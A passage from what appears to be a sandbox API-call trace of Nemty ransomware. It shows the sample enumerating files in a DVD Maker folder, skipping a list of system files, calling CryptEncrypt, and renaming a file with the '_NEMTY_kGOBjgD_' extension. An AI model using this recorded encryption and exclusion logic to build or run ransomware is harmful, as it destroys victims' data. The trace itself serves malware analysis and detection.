hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.221] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.221] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.221] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.231] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.231] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.231] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.231] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.240] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.240] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.240] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.240] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.249] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.250] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.250] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.250] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.255] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.256] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.256] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.256] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.262] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.262] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.262] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.262] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0089.262] CloseHandle (hObject=0xffffffff) returned 0 [0089.262] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0089.262] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0089.262] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0089.262] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0089.262] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0089.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0089.262] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0089.262] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0089.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0089.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0089.262] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\nextmenubuttonicon.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\nextmenubuttonicon.png._nemty_kgobjgd_")) returned 0 [0089.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0089.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0089.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0089.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0089.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0089.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0089.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0089.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94338 | out: hHeap=0x4f90000) returned 1 [0089.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0089.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0089.263] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f1f78f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f1f78f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xee2, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="ParentMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0089.263] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2=".") returned 1 [0089.263] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="..") returned 1 [0089.263] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="...") returned 1 [0089.263] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="windows") returned -1 [0089.263] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="$RECYCLE.BIN") returned 1 [0089.263] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="rsa") returned -1 [0089.263] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="NTDETECT.COM") returned 1 [0089.263] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="ntldr") returned 1 [0089.263] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="MSDOS.SYS") returned 1 [0089.263] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="IO.SYS") returned 1 [0089.263] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="boot.ini") returned 1 [0089.263] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="boot.ini") returned 1 [0089.263] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="AUTOEXEC.BAT") returned 1 [0089.263] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="ntuser.dat") returned 1 [0089.263] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="desktop.ini") returned 1 [0089.263] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="CONFIG.SYS") returned 1 [0089.263] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="RECYCLER") returned -1 [0089.263] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="BOOTSECT.BAK") returned 1 [0089.263] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="bootmgr") returned 1 [0089.263] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="programdata") returned -1 [0089.263] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="appdata") returned 1 [0089.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0089.263] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ParentMenuButtonIcon.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0089.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0089.263] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ParentMenuButtonIcon.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ParentMenuButtonIcon.png", lpUsedDefaultChar=0x0) returned 24 [0089.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0089.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0089.263] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ParentMenuButtonIcon.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0089.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0089.263] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ParentMenuButtonIcon.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ParentMenuButtonIcon.png", lpUsedDefaultChar=0x0) returned 24 [0089.264] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0089.264] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0089.264] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0089.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0089.264] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ParentMenuButtonIcon.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0089.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0089.264] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ParentMenuButtonIcon.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ParentMenuButtonIcon.png", lpUsedDefaultChar=0x0) returned 24 [0089.264] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0089.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0089.264] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ParentMenuButtonIcon.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0089.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0089.264] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ParentMenuButtonIcon.png", cchWideChar=24, lpMultiByteStr=0x4f9ed58, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ParentMenuButtonIcon.png", lpUsedDefaultChar=0x0) returned 24 [0089.264] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0089.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94338 [0089.264] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0089.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0089.264] Sleep (dwMilliseconds=0x5) [0089.277] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe8dc21d0, dwHighDateTime=0x1d561e7)) [0089.277] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe8dc21d0, dwHighDateTime=0x1d561e7)) [0089.277] GetLastError () returned 0x5 [0089.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0089.277] GetLastError () returned 0x5 [0089.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0089.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0089.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0089.277] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0089.277] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0089.277] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0089.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0089.277] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="iCfHizBJh9so6XD3pcQJ1rTbFiZvQD0Eu080+TPeFrkgVRlzDw6Ightbo2bEWQIR\r\nw0Xcdrj4q1FNpojBdIcga1Vq1zn4mmSsBbyY8qDOAZsy25OTOHub4UEuzQu+rGYm\r\niJ85eVnb5FH30eaTuy5UUC9JrKusf9YQ3gYflR8Qusv6KGoZAHDQnuZDPUTQOfWH\r\njDb7hs94uF/yX8rSYWycNOSmP/sE5QF46QLz+ykYnp3sALF0QeN/8QYBLBp4Uluj\r\nfKkV5AU6TYUgJRz7gjXdmgdfXvg+tztfWEhbl5UFZozY8iBBRat8uj2lTefsExl3\r\n4syDdBlqiglzfJEIg33/Hw==\r\n", pcchString=0x653e91c) returned 1 [0089.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0089.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0089.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0089.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0089.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0089.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0089.277] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\parentmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0089.278] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0089.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0089.278] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.278] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.288] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.288] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.288] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.288] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.297] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.297] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.297] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.297] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.307] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.307] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.307] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.307] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.316] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.316] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.316] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.316] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.326] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.326] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.326] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.326] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.335] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.335] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.335] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.335] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.344] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.344] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.344] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.344] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.354] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.354] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.354] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.354] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.364] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.364] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.364] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: 